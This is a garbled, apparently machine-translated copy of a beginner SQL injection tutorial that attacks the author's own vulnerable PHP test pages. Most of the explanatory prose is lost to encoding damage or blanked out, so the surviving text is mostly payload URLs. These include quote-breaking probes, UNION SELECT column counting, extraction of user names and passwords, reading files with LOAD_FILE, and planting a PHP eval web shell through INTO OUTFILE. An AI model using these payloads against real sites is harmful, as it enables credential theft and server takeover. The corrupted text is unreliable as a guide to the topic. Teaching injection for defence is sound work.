рд╢реБрд░реБрдЖрддреА рдХреЗ рд▓рд┐рдП рдПрд╕рдХреНрдпреВрдПрд▓ рдЗрдВрдЬреЗрдХреНрд╢рдиред рднрд╛рдЧ 1


рдЖрдкрдХреЛ рдирдорд╕реНрдХрд╛рд░, рдкрд╛рдардХред рд╣рд╛рд▓ рд╣реА рдореЗрдВ, рдореИрдВ рд╡реЗрдм рд╕реБрд░рдХреНрд╖рд╛ рдХрд╛ рд╢реМрдХреАрди рд░рд╣рд╛ рд╣реВрдВ, рдФрд░ рдХреБрдЫ рд╣рдж рддрдХ, рдХрд╛рдо рдЗрд╕рдХреЗ рд╕рд╛рде рдЬреБрдбрд╝рд╛ рд╣реБрдЖ рд╣реИред рдХреНрдпреЛрдВрдХрд┐ рдореИрдВрдиреЗ рд╡рд┐рднрд┐рдиреНрди рдордВрдЪреЛрдВ рдореЗрдВ рд╡рд┐рд╖рдпреЛрдВ рдХреЛ рдЕрдзрд┐рдХ рд╕реЗ рдЕрдзрд┐рдХ рдмрд╛рд░ рдиреЛрдЯрд┐рд╕ рдХрд░рдирд╛ рд╢реБрд░реВ рдХрд┐рдпрд╛, рдпрд╣ рджрд┐рдЦрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдпрд╣ рд╕рдм рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ, рдореИрдВрдиреЗ рдПрдХ рд▓реЗрдЦ рд▓рд┐рдЦрдиреЗ рдХрд╛ рдлреИрд╕рд▓рд╛ рдХрд┐рдпрд╛ред рд▓реЗрдЦ рдЙрди рд▓реЛрдЧреЛрдВ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдЬрд┐рдиреНрд╣реЛрдВрдиреЗ рдЗрд╕рдХрд╛ рд╕рд╛рдордирд╛ рдирд╣реАрдВ рдХрд┐рдпрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рд╕реАрдЦрдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВред рдЗрд╕ рд╡рд┐рд╖рдп рдкрд░ рдиреЗрдЯрд╡рд░реНрдХ рдХреЗ рдмрд╣реБрдд рд╕рд╛рд░реЗ рд▓реЗрдЦ рд╣реИрдВ, рд▓реЗрдХрд┐рди рд╢реБрд░реБрдЖрддреА рд▓реЛрдЧреЛрдВ рдХреЗ рд▓рд┐рдП рд╡реЗ рдереЛрдбрд╝реЗ рдЬрдЯрд┐рд▓ рд╣реИрдВред рдореИрдВ рд╕реНрдкрд╖реНрдЯ рднрд╛рд╖рд╛ рдФрд░ рд╡рд┐рд╕реНрддреГрдд рдЙрджрд╛рд╣рд░рдгреЛрдВ рдореЗрдВ рд╣рд░ рдЪреАрдЬ рдХрд╛ рд╡рд░реНрдгрди рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реВрдВрдЧрд╛ред


рдкреНрд░рд╕реНрддрд╛рд╡рдирд╛


рдЗрд╕ рд▓реЗрдЦ рдХреЛ рд╕рдордЭрдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдкрдХреЛ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ SQL рднрд╛рд╖рд╛ рдХреЗ рдЬреНрдЮрд╛рди рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИ, рд▓реЗрдХрд┐рди рдХрдо рд╕реЗ рдХрдо рдЕрдЪреНрдЫреЗ рдзреИрд░реНрдп рдФрд░ рдереЛрдбрд╝рд╛ рдорд╕реНрддрд┐рд╖реНрдХ рдХреА рдЙрдкрд╕реНрдерд┐рддрд┐ - рдпрд╛рдж рд░рдЦрдиреЗ рдХреЗ рд▓рд┐рдПред

рдореЗрд░рд╛ рдорд╛рдирдирд╛ тАЛтАЛрд╣реИ рдХрд┐ рд▓реЗрдЦ рдХрд╛ рдПрдХ рдкрдврд╝рдирд╛ рдкрд░реНрдпрд╛рдкреНрдд рдирд╣реАрдВ рд╣реЛрдЧрд╛, рдХреНрдпреЛрдВрдХрд┐ рд╣рдореЗрдВ рдЬреАрд╡рд┐рдд рдЙрджрд╛рд╣рд░рдгреЛрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ - рдЬреИрд╕рд╛ рдХрд┐ рдЖрдк рдЬрд╛рдирддреЗ рд╣реИрдВ, рд╕рдВрд╕реНрдорд░рдг рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ, рдпрд╣ рдХрднреА рдирд╣реАрдВ рд╣реЛрддрд╛ рд╣реИред рдЗрд╕рд▓рд┐рдП, рд╣рдо рдХрдордЬреЛрд░ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд▓рд┐рдЦреЗрдВрдЧреЗ рдФрд░ рдЙрди рдкрд░ рдкреНрд░рд╢рд┐рдХреНрд╖рдг рджреЗрдВрдЧреЗред

SQL рдЗрдВрдЬреЗрдХреНрд╢рди рдХреНрдпрд╛ рд╣реИ?

тАФ , , . :

, , 100 . SQL , :
100

- ( ), , тАФ . , , ┬л ┬╗ :
100

, , 100 . SQL :) ( ), .


, . . cfg.php

SQL injection



, , . тАФ ID. . GET/POST Cookie!





index1.php. , ID .

sqlinj/index1.php?id=1'


.. :

$id = $_GET['id'];
$query = "SELECT * FROM news WHERE id=$id";



SELECT * FROM news WHERE id=1'


:
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in C:\WebServ\domains\sqlinj\index1.php on line 16

тАФ :

1.SQL тАФ , (int)
2. .

тАФ ! SQL тАФ .





index2.php. , :
$user = $_GET['user'];
$query = "SELECT * FROM news WHERE user='$user'";


, тАФ .
:
sqlinj/index2.php?user=AlexanderPHP'


. ! . тАФ .







- , . , " -- " SQL.

! . URL %20

, тАФ :
SELECT * FROM news WHERE user='AlexanderPHP' -- habrahabra

. index2.php, :

sqlinj/index2.php?user=AlexanderPHP'%20--%20habrahabr



UNION. SQL UNION SQL- . , - .






┬л┬╗, . index1.php.

sqlinj/index1.php?id=1 UNION SELECT 1. :
SELECT * FROM news WHERE id=1 UNION SELECT 1
, .. , .

.. , , .



, :
sqlinj/index1.php?id=1 UNION SELECT 1,2
тАж
sqlinj/index1.php?id=1 UNION SELECT 1,2,3
!
sqlinj/index1.php?id=1 UNION SELECT 1,2,3,4,5
! 5.

GROUP BY

, 20 40 60. , GROUP BY


sqlinj/index1.php?id=1 GROUP BY 2
, - 2. :

sqlinj/index1.php?id=1 GROUP BY 8
, , - 8.

GROUP BY 4 , GROUP BY 6 тАФ , - 5





, , ID, :

sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5

image
, , . , , .




, users id, name pass.
ID=1

:

sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 FROM users WHERE id=1

image

, , 1 3

sqlinj/index1.php?id=-1 UNION SELECT name,2,pass,4,5 FROM users WHERE id=1
тАФ !
image



┬л ┬╗, index2.php . :
sqlinj/index2.php?user=-1' UNION SELECT name,2,pass,4,5 FROM users WHERE id=1 --%20



/


, FILE_PRIV.


. , OUTFILE .
sqlinj/index2.php?user=-1' UNION SELECT 1,2,3,4,5 INTO OUTFILE '1.php' --%20
, . , -:
sqlinj/index2.php?user=-1' UNION SELECT 1,'<?php eval($_GET[1]) ?>',3,4,5 INTO OUTFILE '1.php' --%20



, . LOAD_FILE, , :

sqlinj/index2.php?user=-1' UNION SELECT 1,LOAD_FILE('1.php'),3,4,5 --%20

, .





, . . ,
$id = (int) $_GET['id'];

malroc. PDO prepared statements.




┬лSQL injection ┬╗. . .
, .

Source: https://habr.com/ru/post/In148151/


All Articles